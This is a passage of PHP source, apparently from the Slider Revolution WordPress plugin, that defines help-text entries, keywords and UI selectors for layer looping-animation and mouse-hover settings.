=> true, $o => 'layer_looping'), '*[data-showloop="#loop_move_settings"]', array($p => '#slide#.layers.#layer#.timeline.loop.curved', $v => true, $o => 'layer_loop_move_curved') ), $m => "#module_layers_trigger, #gst_layer_15, #la_looping-tab-2 .ssmbtn", $st => '#layer_loop_settings .loop_wrapbrtn', $f => "*[data-r='timeline.loop.frame_999.xr']" ) ), 'bezier_y_start' => array( $t => __("Bezier Start Point Y", 'revsliderhelp'), $h => "timeline.loop.frame_0.yr", $k => array("curved", "curved animation", "bezier", "bezier curve"), $d => __("Represents the starting 'y' (top) position for the bezier curve", 'revsliderhelp'), $a => $u . "looping-animations/", $hl => array( $dp => array( 'layerselected', array($p => '#slide#.layers.#layer#.timeline.loop.use', $v => true, $o => 'layer_looping'), '*[data-showloop="#loop_move_settings"]', array($p => '#slide#.layers.#layer#.timeline.loop.curved', $v => true, $o => 'layer_loop_move_curved') ), $m => "#module_layers_trigger, #gst_layer_15, #la_looping-tab-2 .ssmbtn", $st => '#layer_loop_settings .loop_wrapbrtn', $f => "*[data-r='timeline.loop.frame_0.yr']" ) ), 'bezier_y_end' => array( $t => __("Bezier End Point Y", 'revsliderhelp'), $h => "timeline.loop.frame_999.yr", $k => array("curved", "curved animation", "bezier", "bezier curve"), $d => __("Represents the ending 'y' (top) position for the bezier curve", 'revsliderhelp'), $a => $u . "looping-animations/", $hl => array( $dp => array( 'layerselected', array($p => '#slide#.layers.#layer#.timeline.loop.use', $v => true, $o => 'layer_looping'), '*[data-showloop="#loop_move_settings"]', array($p => '#slide#.layers.#layer#.timeline.loop.curved', $v => true, $o => 'layer_loop_move_curved') ), $m => "#module_layers_trigger, #gst_layer_15, #la_looping-tab-2 .ssmbtn", $st => '#layer_loop_settings .loop_wrapbrtn', $f => "*[data-r='timeline.loop.frame_999.yr']" ) ), 'bezier_z_start' => array( $t => __("Bezier Start Point Z", 'revsliderhelp'), $h => "timeline.loop.frame_0.zr", $k => array("curved", "curved animation", "bezier", "bezier curve"), $d => __("Represents the starting 'z' (3D depth) position for the bezier curve", 'revsliderhelp'), $a => $u . "looping-animations/", $hl => array( $dp => array( 'layerselected', array($p => '#slide#.layers.#layer#.timeline.loop.use', $v => true, $o => 'layer_looping'), '*[data-showloop="#loop_move_settings"]', array($p => '#slide#.layers.#layer#.timeline.loop.curved', $v => true, $o => 'layer_loop_move_curved') ), $m => "#module_layers_trigger, #gst_layer_15, #la_looping-tab-2 .ssmbtn", $st => '#layer_loop_settings .loop_wrapbrtn', $f => "*[data-r='timeline.loop.frame_0.zr']" ) ), 'bezier_z_end' => array( $t => __("Bezier End Point Z", 'revsliderhelp'), $h => "timeline.loop.frame_999.zr", $k => array("curved", "curved animation", "bezier", "bezier curve"), $d => __("Represents the ending 'z' (3D depth) position for the bezier curve", 'revsliderhelp'), $a => $u . "looping-animations/", $hl => array( $dp => array( 'layerselected', array($p => '#slide#.layers.#layer#.timeline.loop.use', $v => true, $o => 'layer_looping'), '*[data-showloop="#loop_move_settings"]', array($p => '#slide#.layers.#layer#.timeline.loop.curved', $v => true, $o => 'layer_loop_move_curved') ), $m => "#module_layers_trigger, #gst_layer_15, #la_looping-tab-2 .ssmbtn", $st => '#layer_loop_settings .loop_wrapbrtn', $f => "*[data-r='timeline.loop.frame_999.zr']" ) ) ) ), 'scale' => array( 'yoyo' => array( $t => __("Yoyo Scaling", 'revsliderhelp'), $h => "timeline.loop.yoyo_scale", $k => array("yoyo", "yoyo animation", "yoyo transition", "loop animation"), $d => __("Reverse the scaling as soon as the animation ends and vice versa", 'revsliderhelp'), $a => $u . "looping-animations/", $hl => array( $dp => array( 'layerselected', array($p => '#slide#.layers.#layer#.timeline.loop.use', $v => true, $o => 'layer_looping'), '*[data-showloop="#loop_scale_settings"]' ), $m => "#module_layers_trigger, #gst_layer_15, #la_looping-tab-2 .ssmbtn", $st => '#layer_loop_settings .loop_wrapbrtn', $f => "*[data-r='timeline.loop.yoyo_scale']" ) ), 'scale_start_x' => array( $t => __("Start scaleX", 'revsliderhelp'), $h => "timeline.loop.frame_0.scaleX", $k => array("animation scale", "animation scalex", "scalex", "scale x", "scale"), $d => __("The starting scaleX value (width) for the loop animation", 'revsliderhelp'), $a => $u . "looping-animations/", $hl => array( $dp => array( 'layerselected', array($p => '#slide#.layers.#layer#.timeline.loop.use', $v => true, $o => 'layer_looping'), '*[data-showloop="#loop_scale_settings"]' ), $m => "#module_layers_trigger, #gst_layer_15, #la_looping-tab-2 .ssmbtn", $st => '#layer_loop_settings .loop_wrapbrtn', $f => "*[data-r='timeline.loop.frame_0.scaleX']" ) ), 'scale_end_x' => array( $t => __("End scaleX", 'revsliderhelp'), $h => "timeline.loop.frame_999.scaleX", $k => array("animation scale", "animation scalex", "scalex", "scale x", "scale"), $d => __("The ending scaleX value (width) for the loop animation", 'revsliderhelp'), $a => $u . "looping-animations/", $hl => array( $dp => array( 'layerselected', array($p => '#slide#.layers.#layer#.timeline.loop.use', $v => true, $o => 'layer_looping'), '*[data-showloop="#loop_scale_settings"]' ), $m => "#module_layers_trigger, #gst_layer_15, #la_looping-tab-2 .ssmbtn", $st => '#layer_loop_settings .loop_wrapbrtn', $f => "*[data-r='timeline.loop.frame_999.scaleX']" ) ), 'scale_start_y' => array( $t => __("Start scaleY", 'revsliderhelp'), $h => "timeline.loop.frame_0.scaleY", $k => array("animation scale", "animation scaley", "scaley", "scale y", "scale"), $d => __("The starting scaleY value (height) for the loop animation", 'revsliderhelp'), $a => $u . "looping-animations/", $hl => array( $dp => array( 'layerselected', array($p => '#slide#.layers.#layer#.timeline.loop.use', $v => true, $o => 'layer_looping'), '*[data-showloop="#loop_scale_settings"]' ), $m => "#module_layers_trigger, #gst_layer_15, #la_looping-tab-2 .ssmbtn", $st => '#layer_loop_settings .loop_wrapbrtn', $f => "*[data-r='timeline.loop.frame_0.scaleY']" ) ), 'scale_end_y' => array( $t => __("End scaleY", 'revsliderhelp'), $h => "timeline.loop.frame_999.scaleY", $k => array("animation scale", "animation scaley", "scaley", "scale y", "scale"), $d => __("The ending scaleY value (height) for the loop animation", 'revsliderhelp'), $a => $u . "looping-animations/", $hl => array( $dp => array( 'layerselected', array($p => '#slide#.layers.#layer#.timeline.loop.use', $v => true, $o => 'layer_looping'), '*[data-showloop="#loop_scale_settings"]' ), $m => "#module_layers_trigger, #gst_layer_15, #la_looping-tab-2 .ssmbtn", $st => '#layer_loop_settings .loop_wrapbrtn', $f => "*[data-r='timeline.loop.frame_999.scaleY']" ) ), 'skew_start_x' => array( $t => __("Start skewX", 'revsliderhelp'), $h => "timeline.loop.frame_0.skewX", $k => array("animation skew", "animation skewx", "skewx", "skew x", "skew"), $d => __("The starting skewX value (horizontal plane) for the loop animation", 'revsliderhelp'), $a => $u . "looping-animations/", $hl => array( $dp => array( 'layerselected', array($p => '#slide#.layers.#layer#.timeline.loop.use', $v => true, $o => 'layer_looping'), '*[data-showloop="#loop_scale_settings"]' ), $m => "#module_layers_trigger, #gst_layer_15, #la_looping-tab-2 .ssmbtn", $st => '#layer_loop_settings .loop_wrapbrtn', $f => "*[data-r='timeline.loop.frame_0.skewX']" ) ), 'skew_end_x' => array( $t => __("End skewX", 'revsliderhelp'), $h => "timeline.loop.frame_999.skewX", $k => array("animation skew", "animation skewx", "skewx", "skew x", "skew"), $d => __("The ending skewX value (horizontal plane) for the loop animation", 'revsliderhelp'), $a => $u . "looping-animations/", $hl => array( $dp => array( 'layerselected', array($p => '#slide#.layers.#layer#.timeline.loop.use', $v => true, $o => 'layer_looping'), '*[data-showloop="#loop_scale_settings"]' ), $m => "#module_layers_trigger, #gst_layer_15, #la_looping-tab-2 .ssmbtn", $st => '#layer_loop_settings .loop_wrapbrtn', $f => "*[data-r='timeline.loop.frame_999.skewX']" ) ), 'skew_start_y' => array( $t => __("Start skewY", 'revsliderhelp'), $h => "timeline.loop.frame_0.skewY", $k => array("animation skew", "animation skewy", "skewy", "skew y", "skew"), $d => __("The starting skewY value (vertical plane) for the loop animation", 'revsliderhelp'), $a => $u . "looping-animations/", $hl => array( $dp => array( 'layerselected', array($p => '#slide#.layers.#layer#.timeline.loop.use', $v => true, $o => 'layer_looping'), '*[data-showloop="#loop_scale_settings"]' ), $m => "#module_layers_trigger, #gst_layer_15, #la_looping-tab-2 .ssmbtn", $st => '#layer_loop_settings .loop_wrapbrtn', $f => "*[data-r='timeline.loop.frame_0.skewY']" ) ), 'skew_end_y' => array( $t => __("End skewY", 'revsliderhelp'), $h => "timeline.loop.frame_999.skewY", $k => array("animation skew", "animation skewy", "skewy", "skew y", "skew"), $d => __("The ending skewY value (vertical plane) for the loop animation", 'revsliderhelp'), $a => $u . "looping-animations/", $hl => array( $dp => array( 'layerselected', array($p => '#slide#.layers.#layer#.timeline.loop.use', $v => true, $o => 'layer_looping'), '*[data-showloop="#loop_scale_settings"]' ), $m => "#module_layers_trigger, #gst_layer_15, #la_looping-tab-2 .ssmbtn", $st => '#layer_loop_settings .loop_wrapbrtn', $f => "*[data-r='timeline.loop.frame_999.skewY']" ) ) ), 'rotate' => array( 'yoyo' => array( $t => __("Yoyo Rotation", 'revsliderhelp'), $h => "timeline.loop.yoyo_rotate", $k => array("yoyo", "yoyo animation", "yoyo transition", "loop animation"), $d => __("Reverse the rotation as soon as the animation ends and vice versa", 'revsliderhelp'), $a => $u . "looping-animations/", $hl => array( $dp => array( 'layerselected', array($p => '#slide#.layers.#layer#.timeline.loop.use', $v => true, $o => 'layer_looping'), '*[data-showloop="#loop_rotate_settings"]' ), $m => "#module_layers_trigger, #gst_layer_15, #la_looping-tab-2 .ssmbtn", $st => '#layer_loop_settings .loop_wrapbrtn', $f => "*[data-r='timeline.loop.yoyo_rotate']" ) ), 'start_rotation_x' => array( $t => __("Start rotateX", 'revsliderhelp'), $h => "timeline.loop.frame_0.rotationX", $k => array("animation rotation", "animation rotatex", "rotatex", "rotationx", "rotation x", "3d", "3d rotation"), $d => __("The starting rotateX value (horizontal plane) for the loop animation. Accepts positive and negative values.", 'revsliderhelp'), $a => $u . "looping-animations/", $hl => array( $dp => array( 'layerselected', array($p => '#slide#.layers.#layer#.timeline.loop.use', $v => true, $o => 'layer_looping'), '*[data-showloop="#loop_rotate_settings"]' ), $m => "#module_layers_trigger, #gst_layer_15, #la_looping-tab-2 .ssmbtn", $st => '#layer_loop_settings .loop_wrapbrtn', $f => "*[data-r='timeline.loop.frame_0.rotationX']" ) ), 'end_rotation_x' => array( $t => __("End rotateX", 'revsliderhelp'), $h => "timeline.loop.frame_999.rotationX", $k => array("animation rotation", "animation rotatex", "rotatex", "rotationx", "rotation x", "3d", "3d rotation"), $d => __("The ending rotateX value (horizontal plane) for the loop animation. Accepts positive and negative values.", 'revsliderhelp'), $a => $u . "looping-animations/", $hl => array( $dp => array( 'layerselected', array($p => '#slide#.layers.#layer#.timeline.loop.use', $v => true, $o => 'layer_looping'), '*[data-showloop="#loop_rotate_settings"]' ), $m => "#module_layers_trigger, #gst_layer_15, #la_looping-tab-2 .ssmbtn", $st => '#layer_loop_settings .loop_wrapbrtn', $f => "*[data-r='timeline.loop.frame_999.rotationX']" ) ), 'start_rotation_y' => array( $t => __("Start rotateY", 'revsliderhelp'), $h => "timeline.loop.frame_0.rotationY", $k => array("animation rotation", "animation rotatey", "rotatey", "rotationy", "rotation y", "3d", "3d rotation"), $d => __("The starting rotateY value (horizontal plane) for the loop animation. Accepts positive and negative values.", 'revsliderhelp'), $a => $u . "looping-animations/", $hl => array( $dp => array( 'layerselected', array($p => '#slide#.layers.#layer#.timeline.loop.use', $v => true, $o => 'layer_looping'), '*[data-showloop="#loop_rotate_settings"]' ), $m => "#module_layers_trigger, #gst_layer_15, #la_looping-tab-2 .ssmbtn", $st => '#layer_loop_settings .loop_wrapbrtn', $f => "*[data-r='timeline.loop.frame_0.rotationY']" ) ), 'end_rotation_y' => array( $t => __("End rotateY", 'revsliderhelp'), $h => "timeline.loop.frame_999.rotationY", $k => array("animation rotation", "animation rotatey", "rotatey", "rotationy", "rotation y", "3d", "3d rotation"), $d => __("The ending rotateY value (horizontal plane) for the loop animation. Accepts positive and negative values.", 'revsliderhelp'), $a => $u . "looping-animations/", $hl => array( $dp => array( 'layerselected', array($p => '#slide#.layers.#layer#.timeline.loop.use', $v => true, $o => 'layer_looping'), '*[data-showloop="#loop_rotate_settings"]' ), $m => "#module_layers_trigger, #gst_layer_15, #la_looping-tab-2 .ssmbtn", $st => '#layer_loop_settings .loop_wrapbrtn', $f => "*[data-r='timeline.loop.frame_999.rotationY']" ) ), 'start_rotation_2d' => array( $t => __("Start rotate2D", 'revsliderhelp'), $h => "timeline.loop.frame_0.rotationZ", $k => array("animation rotation", "animation rotatey", "rotatey", "rotationy", "rotation y", "2d", "2d rotation"), $d => __("The starting rotation value (2D) for the loop animation. Accepts positive and negative values.", 'revsliderhelp'), $a => $u . "looping-animations/", $hl => array( $dp => array( 'layerselected', array($p => '#slide#.layers.#layer#.timeline.loop.use', $v => true, $o => 'layer_looping'), '*[data-showloop="#loop_rotate_settings"]' ), $m => "#module_layers_trigger, #gst_layer_15, #la_looping-tab-2 .ssmbtn", $st => '#layer_loop_settings .loop_wrapbrtn', $f => "*[data-r='timeline.loop.frame_0.rotationZ']" ) ), 'end_rotation_2d' => array( $t => __("End rotate2D", 'revsliderhelp'), $h => "timeline.loop.frame_999.rotationZ", $k => array("animation rotation", "animation rotatey", "rotatey", "rotationy", "rotation y", "2d", "2d rotation"), $d => __("The ending rotation value (2D) for the loop animation. Accepts positive and negative values.", 'revsliderhelp'), $a => $u . "looping-animations/", $hl => array( $dp => array( 'layerselected', array($p => '#slide#.layers.#layer#.timeline.loop.use', $v => true, $o => 'layer_looping'), '*[data-showloop="#loop_rotate_settings"]' ), $m => "#module_layers_trigger, #gst_layer_15, #la_looping-tab-2 .ssmbtn", $st => '#layer_loop_settings .loop_wrapbrtn', $f => "*[data-r='timeline.loop.frame_999.rotationZ']" ) ) ), 'filter' => array( 'yoyo' => array( $t => __("Yoyo Filters", 'revsliderhelp'), $h => "timeline.loop.yoyo_filter", $k => array("yoyo", "yoyo animation", "yoyo transition", "loop animation"), $d => __("Reverse the animated filters as soon as the animation ends and vice versa", 'revsliderhelp'), $a => $u . "looping-animations/", $hl => array( $dp => array( 'layerselected', array($p => '#slide#.layers.#layer#.timeline.loop.use', $v => true, $o => 'layer_looping'), '*[data-showloop="#loop_filter_settings"]' ), $m => "#module_layers_trigger, #gst_layer_15, #la_looping-tab-2 .ssmbtn", $st => '#layer_loop_settings .loop_wrapbrtn', $f => "*[data-r='timeline.loop.yoyo_filter']" ) ), 'opacity_start' => array( $t => __("Opacity Start", 'revsliderhelp'), $h => "timeline.loop.frame_0.opacity", $k => array("animate filter", "filter animation", "filter", "filters", "opacity filter", "opacity"), $d => __("The starting transparency for the loop animation", 'revsliderhelp'), $a => $u . "looping-animations/", $hl => array( $dp => array( 'layerselected', array($p => '#slide#.layers.#layer#.timeline.loop.use', $v => true, $o => 'layer_looping'), '*[data-showloop="#loop_filter_settings"]' ), $m => "#module_layers_trigger, #gst_layer_15, #la_looping-tab-2 .ssmbtn", $st => '#layer_loop_settings .loop_wrapbrtn', $f => "*[data-r='timeline.loop.frame_0.opacity']" ) ), 'opacity_end' => array( $t => __("Opacity End", 'revsliderhelp'), $h => "timeline.loop.frame_999.opacity", $k => array("animate filter", "filter animation", "filter", "filters", "opacity filter", "opacity"), $d => __("The ending transparency for the loop animation", 'revsliderhelp'), $a => $u . "looping-animations/", $hl => array( $dp => array( 'layerselected', array($p => '#slide#.layers.#layer#.timeline.loop.use', $v => true, $o => 'layer_looping'), '*[data-showloop="#loop_filter_settings"]' ), $m => "#module_layers_trigger, #gst_layer_15, #la_looping-tab-2 .ssmbtn", $st => '#layer_loop_settings .loop_wrapbrtn', $f => "*[data-r='timeline.loop.frame_999.opacity']" ) ), 'blur_start' => array( $t => __("Blur Start", 'revsliderhelp'), $h => "timeline.loop.frame_0.blur", $k => array("animate filter", "filter animation", "filter", "filters", "blur filter", "blur"), $d => __("The starting blur filter value for the loop animation", 'revsliderhelp'), $a => $u . "looping-animations/", $hl => array( $dp => array( 'layerselected', array($p => '#slide#.layers.#layer#.timeline.loop.use', $v => true, $o => 'layer_looping'), '*[data-showloop="#loop_filter_settings"]' ), $m => "#module_layers_trigger, #gst_layer_15, #la_looping-tab-2 .ssmbtn", $st => '#layer_loop_settings .loop_wrapbrtn', $f => "*[data-r='timeline.loop.frame_0.blur']" ) ), 'blur_end' => array( $t => __("Blur End", 'revsliderhelp'), $h => "timeline.loop.frame_999.blur", $k => array("animate filter", "filter animation", "filter", "filters", "blur filter", "blur"), $d => __("The ending blur filter value for the loop animation", 'revsliderhelp'), $a => $u . "looping-animations/", $hl => array( $dp => array( 'layerselected', array($p => '#slide#.layers.#layer#.timeline.loop.use', $v => true, $o => 'layer_looping'), '*[data-showloop="#loop_filter_settings"]' ), $m => "#module_layers_trigger, #gst_layer_15, #la_looping-tab-2 .ssmbtn", $st => '#layer_loop_settings .loop_wrapbrtn', $f => "*[data-r='timeline.loop.frame_999.blur']" ) ), 'grayscale_start' => array( $t => __("Grayscale Start", 'revsliderhelp'), $h => "timeline.loop.frame_0.grayscale", $k => array("animate filter", "filter animation", "filter", "filters", "grayscale filter", "grayscale"), $d => __("The starting grayscale filter value for the loop animation", 'revsliderhelp'), $a => $u . "looping-animations/", $hl => array( $dp => array( 'layerselected', array($p => '#slide#.layers.#layer#.timeline.loop.use', $v => true, $o => 'layer_looping'), '*[data-showloop="#loop_filter_settings"]' ), $m => "#module_layers_trigger, #gst_layer_15, #la_looping-tab-2 .ssmbtn", $st => '#layer_loop_settings .loop_wrapbrtn', $f => "*[data-r='timeline.loop.frame_0.grayscale']" ) ), 'grayscale_end' => array( $t => __("Grayscale End", 'revsliderhelp'), $h => "timeline.loop.frame_999.grayscale", $k => array("animate filter", "filter animation", "filter", "filters", "grayscale filter", "grayscale"), $d => __("The ending grayscale filter value for the loop animation", 'revsliderhelp'), $a => $u . "looping-animations/", $hl => array( $dp => array( 'layerselected', array($p => '#slide#.layers.#layer#.timeline.loop.use', $v => true, $o => 'layer_looping'), '*[data-showloop="#loop_filter_settings"]' ), $m => "#module_layers_trigger, #gst_layer_15, #la_looping-tab-2 .ssmbtn", $st => '#layer_loop_settings .loop_wrapbrtn', $f => "*[data-r='timeline.loop.frame_999.grayscale']" ) ), 'brightness_start' => array( $t => __("Brightness Start", 'revsliderhelp'), $h => "timeline.loop.frame_0.brightness", $k => array("animate filter", "filter animation", "filter", "filters", "brightness filter", "brightness"), $d => __("The starting brightness filter value for the loop animation", 'revsliderhelp'), $a => $u . "looping-animations/", $hl => array( $dp => array( 'layerselected', array($p => '#slide#.layers.#layer#.timeline.loop.use', $v => true, $o => 'layer_looping'), '*[data-showloop="#loop_filter_settings"]' ), $m => "#module_layers_trigger, #gst_layer_15, #la_looping-tab-2 .ssmbtn", $st => '#layer_loop_settings .loop_wrapbrtn', $f => "*[data-r='timeline.loop.frame_0.brightness']" ) ), 'brightness_end' => array( $t => __("Brightness End", 'revsliderhelp'), $h => "timeline.loop.frame_999.brightness", $k => array("animate filter", "filter animation", "filter", "filters", "brightness filter", "brightness"), $d => __("The ending brightness filter value for the loop animation", 'revsliderhelp'), $a => $u . "looping-animations/", $hl => array( $dp => array( 'layerselected', array($p => '#slide#.layers.#layer#.timeline.loop.use', $v => true, $o => 'layer_looping'), '*[data-showloop="#loop_filter_settings"]' ), $m => "#module_layers_trigger, #gst_layer_15, #la_looping-tab-2 .ssmbtn", $st => '#layer_loop_settings .loop_wrapbrtn', $f => "*[data-r='timeline.loop.frame_999.brightness']" ) ) ) ) ), 'gst_layer_9' => array( 'enable' => array( $di => "enable_hover", $t => __("Mouse Hover", 'revsliderhelp'), $h => "hover.usehover", $k => array("mouse hover", "mouseover", "mouse over", "mouse hover", "hover", "hover animation", "hover style", "hover styles"), $d => __("Activate mouse hover styles/transitions", 'revsliderhelp'), $a => $u . "mouse-hover-settings/", $hl => array( $dp => array('layerselected'), $m => "#module_layers_trigger, #gst_layer_9", $st => '#form_layer_hover', $f => "#layer_usehover" ) ), 'reset' => array( $t => __("Reset Styles", 'revsliderhelp'), $h => "resethover", $k => array("mouse hover", "mouseover", "mouse over", "mouse hover", "hover", "hover animation", "hover style", "hover styles", "reset", "reset styles"), $d => __("Reset all hover styles to the Layer's default idle/static styles", 'revsliderhelp'), $a => $u . "mouse-hover-settings/#general-settings", $hl => array( $dp => array( 'layerselected', array($p => '#slide#.layers.#layer#.hover.usehover', $v => true, $o => 'enable_hover') ), $m => "#module_layers_trigger, #gst_layer_9", $st => '#form_layer_hover', $f => "#copyhoversettings" ) ), 'cursor' => array( $t => __("Cursor Type", 'revsliderhelp'), $h => "idle.cursor", $k => array("mouse hover", "mouseover", "mouse over", "mouse hover", "hover", "hover animation", "hover style", "hover styles"), $d => __("The CSS cursor property for the Layer. Choose 'pointer' for a traditional hand cursor when hovering the Layer", 'revsliderhelp'), $a => $u . "mouse-hover-settings/#general-settings", $hl => array( $dp => array('layerselected'), $m => "#module_layers_trigger, #gst_layer_9", $st => '#form_layer_hover', $f => "#layer_css_cursor" ) ), 'pointer_events' => array( $t => __("Pointer Events", 'revsliderhelp'), $h => "hover.pointerEvents", $k => array("pointer-events", "pointer-event", "pointer event", "pointer-event"), $d => __("Choose 'none' to disable user-interaction. Useful for enabling clicks on content placed beneath the Layer.", 'revsliderhelp'), $a => $u . "mouse-hover-settings/#general-settings", $hl => array( $dp => array('layerselected'), $m => "#module_layers_trigger, #gst_layer_9", $st => '#form_layer_hover', $f => "*[data-r='hover.pointerEvents']" ) ), 'mask' => array( $t => __("Masking", 'revsliderhelp'), $h => "hover.usehovermask", $k => array("hover", "masking", "mask", "mask hover", "hover mask", "hover masking"), $d => __("Mask the current Layer before applying hover styles/effects. Useful for movements and scale/zooms.", 'revsliderhelp'), $a => $u . "mouse-hover-settings/#general-settings", $hl => array( $dp => array('layerselected'), $m => "#module_layers_trigger, #gst_layer_9", $st => '#form_layer_hover', $f => "#layer_usehovermask" ) ), 'background_hover' => array( $t => __("Hover Background Color", 'revsliderhelp'), $h => "hover.backgroundColor", $k => array("hover bg color", "hover background color", "bg hover", "background hover"), $d => __("Adjust the Layer's background color on mouse hover", 'revsliderhelp'), $a => $u . "mouse-hover-settings/#font-background", $hl => array( $dp => array('layerselected'), $m => "#module_layers_trigger, #gst_layer_9", $st => '#form_layer_hover .form_inner:nth-child(5)', $f => "#layerBGColorHover" ) ), 'hover_transform' => array( 'speed' => array( $t => __("Transition Speed", 'revsliderhelp'), $h => "hover.speed", $k => array("transition speed", "hover transition speed", "hover duration"), $d => __("The transition duration for the currently selected Layer (in milliseconds)", 'revsliderhelp'), $a => $u . "mouse-hover-settings/#hover-transforms", $hl => array( $dp => array('layerselected'), $m => "#module_layers_trigger, #gst_layer_9", $st => '#form_layer_hover .form_inner:nth-child(2)', $f => "*[data-r='hover.speed']" ) ), 'easing' => array( $t => __("Transition Easing", 'revsliderhelp'), $h => "hover.ease", $k => array("easing", "transition easing", "hover easing", "animation easing"), $d => __("The easing equation to use for the hover transition", 'revsliderhelp'), $a => $u . "mouse-hover-settings/#hover-transforms", $hl => array( $dp => array('layerselected'), $m => "#module_layers_trigger, #gst_layer_9", $st => '#form_layer_hover .form_inner:nth-child(2)', $f => "#layer_hover_appear_ease" ) ), 'zindex' => array( $t => __("zIndex", 'revsliderhelp'), $h => "hover.zIndex", $k => array("zindex", "hover zindex", "hover z-index"), $d => __("The CSS z-index to apply to the Layer on mouse hover", 'revsliderhelp'), $a => $u . "mouse-hover-settings/#hover-transforms", $hl => array( $dp => array('layerselected'), $m => "#module_layers_trigger, #gst_layer_9", $st => '#form_layer_hover .form_inner:nth-child(2)', $f => "#layer_hover_zindex" ) ), 'opacity' => array( $t => __("Opacity", 'revsliderhelp'), $h => "hover.opacity", $k => array("opacity", "animation opacity", "transparency", "animate opacity"), $d => __("Change the Layer's transparency on mouse hover", 'revsliderhelp'), $a => $u . "mouse-hover-settings/#hover-transforms", $hl => array( $dp => array('layerselected'), $m => "#module_layers_trigger, #gst_layer_9", $st => '#form_layer_hover .form_inner:nth-child(2)', $f => "*[data-r='hover.opacity']" ) ), 'scale_skew_rotate' => array( 'scalex' => array( $t => __("scaleX", 'revsliderhelp'), $h => "hover.scaleX", $k => array("animation scale", "animation scalex", "scalex", "scale x", "scale"), $d => __("Scale the Layer's width by this amount on mouse hover", 'revsliderhelp'), $a => $u . "mouse-hover-settings/#hover-transforms", $hl => array( $dp => array('layerselected'), $m => "#module_layers_trigger, #gst_layer_9", $st => '#form_layer_hover .form_inner:nth-child(2)', $f => "*[data-r='hover.scaleX']" ) ), 'scaley' => array( $t => __("scaleY", 'revsliderhelp'), $h => "hover.scaleY", $k => array("animation scale", "animation scaley", "scaley", "scale y", "scale"), $d => __("Scale the Layer's height by this amount on mouse hover", 'revsliderhelp'), $a => $u . "mouse-hover-settings/#hover-transforms", $hl => array( $dp => array('layerselected'), $m => "#module_layers_trigger, #gst_layer_9", $st => '#form_layer_hover .form_inner:nth-child(2)', $f => "*[data-r='hover.scaleY']" ) ), 'skewx' => array( $t => __("skewX", 'revsliderhelp'), $h => "hover.skewX", $k => array("animation skew", "animation skewx", "skew x", "skewx", "skew"), $d => __("Skew/distort the Layer horizontally by this amount on mouse hover. Accepts positive and negative values.", 'revsliderhelp'), $a => $u . "mouse-hover-settings/#hover-transforms", $hl => array( $dp => array('layerselected'), $m => "#module_layers_trigger, #gst_layer_9", $st => '#form_layer_hover .form_inner:nth-child(2)', $f => "*[data-r='hover.skewX']" ) ), 'skewy' => array( $t => __("skewY", 'revsliderhelp'), $h => "hover.skewY", $k => array("animation skew", "animation skewy", "skew y", "skewy", "skew"), $d => __("Skew/distort the Layer vertically by this amount on mouse hover. Accepts positive and negative values.", 'revsliderhelp'), $a => $u . "mouse-hover-settings/#hover-transforms", $hl => array( $dp => array('layerselected'), $m => "#module_layers_trigger, #gst_layer_9", $st => '#form_layer_hover .form_inner:nth-child(2)', $f => "*[data-r='hover.skewY']" ) ), 'rotationx' => array( $t => __("rotateX", 'revsliderhelp'), $h => "hover.rotationX", $k => array("animation rotation", "animation rotatex", "rotatex", "rotationx", "rotation x", "3d", "3d rotation"), $d => __("Rotate the Layer on its 'x' axis by this amount on mouse hover. Accepts positive and negative values.", 'revsliderhelp'), $a => $u . "mouse-hover-settings/#hover-transforms", $hl => array( $dp => array('layerselected'), $m => "#module_layers_trigger, #gst_layer_9", $st => '#form_layer_hover .form_inner:nth-child(2)', $f => "*[data-r='hover.rotationX']" ) ), 'rotationy' => array( $t => __("rotateY", 'revsliderhelp'), $h => "hover.rotationY", $k => array("animation rotation", "animation rotatey", "rotatey", "rotationy", "rotation y", "3d", "3d rotation"), $d => __("Rotate the Layer on its 'y' axis by this amount on mouse hover. Accepts positive and negative values.", 'revsliderhelp'), $a => $u . "mouse-hover-settings/#hover-transforms", $hl => array( $dp => array('layerselected'), $m => "#module_layers_trigger, #gst_layer_9", $st => '#form_layer_hover .form_inner:nth-child(2)', $f => "*[data-r='hover.rotationY']" ) ), 'rotation' => array( $t => __("2D Rotation", 'revsliderhelp'), $h => "hover.rotationZ", $k => array("animation rotation", "animation rotate", "rotate", "rotation", "2d", "2d rotation"), $d => __("The Layer's 2D Rotation on mouse hover. Accepts positive and negative values.", 'revsliderhelp'), $a => $u . "mouse-hover-settings/#hover-transforms", $hl => array( $dp => array('layerselected'), $m => "#module_layers_trigger, #gst_layer_9", $st => '#form_layer_hover .form_inner:nth-child(2)', $f => "*[data-r='hover.rotationZ']" ) ) ), 'transform_origin' => array( 'originx' => array( $t => __("Transform Origin X", 'revsliderhelp'), $h => "hover.originX", $k => array("animation origin", "animation originx", "transform origin", "transform-origin"), $d => __("The 'x' axis for the Layer's transform-origin on mouse hover.", 'revsliderhelp'), $a => $u . "mouse-hover-settings/#hover-transforms", $hl => array( $dp => array('layerselected'), $m => "#module_layers_trigger, #gst_layer_9", $st => '#form_layer_hover .form_inner:nth-child(2)', $f => "*[data-r='hover.originX']" ) ), 'originy' => array( $t => __("Transform Origin Y", 'revsliderhelp'), $h => "hover.originY", $k => array("animation origin", "animation originx", "transform origin", "transform-origin"), $d => __("The 'y' axis for the Layer's transform-origin on mouse hover.", 'revsliderhelp'), $a => $u . "mouse-hover-settings/#hover-transforms", $hl => array( $dp => array('layerselected'), $m => "#module_layers_trigger, #gst_layer_9", $st => '#form_layer_hover .form_inner:nth-child(2)', $f => "*[data-r='hover.originY']" ) ), 'originz' => array( $t => __("Transform Origin Z", 'revsliderhelp'), $h => "hover.originZ", $k => array("animation origin", "animation originx", "transform origin", "transform-origin"), $d => __("The 'z' axis for the Layer's transform-origin on mouse hover.", 'revsliderhelp'), $a => $u . "mouse-hover-settings/#hover-transforms", $hl => array( $dp => array('layerselected'), $m => "#module_layers_trigger, #gst_layer_9", $st => '#form_layer_hover .form_inner:nth-child(2)', $f => "*[data-r='hover.originZ']" ) ), 'perspective' => array( $t => __("Transform Perspective", 'revsliderhelp'), $h => "hover.transformPerspective", $k => array("animation perspective", "perspective", "transform perspective", "transform-perspective", "3d"), $d => __("The CSS perspective for the Layer on mouse hover", 'revsliderhelp'), $a => $u . "mouse-hover-settings/#hover-transforms", $hl => array( $dp => array('layerselected'), $m => "#module_layers_trigger, #gst_layer_9", $st => '#form_layer_hover .form_inner:nth-child(2)', $f => "#le_frame_hover_perspective" ) ) ) ), 'border_hover' => array( 'border_color' => array( $t => __("Border Color", 'revsliderhelp'), $h => "hover.borderColor", $k => array("border", "border color", "layer border", "layer border color", "layers border"), $d => __("The border color for the Layer on mouse hover", 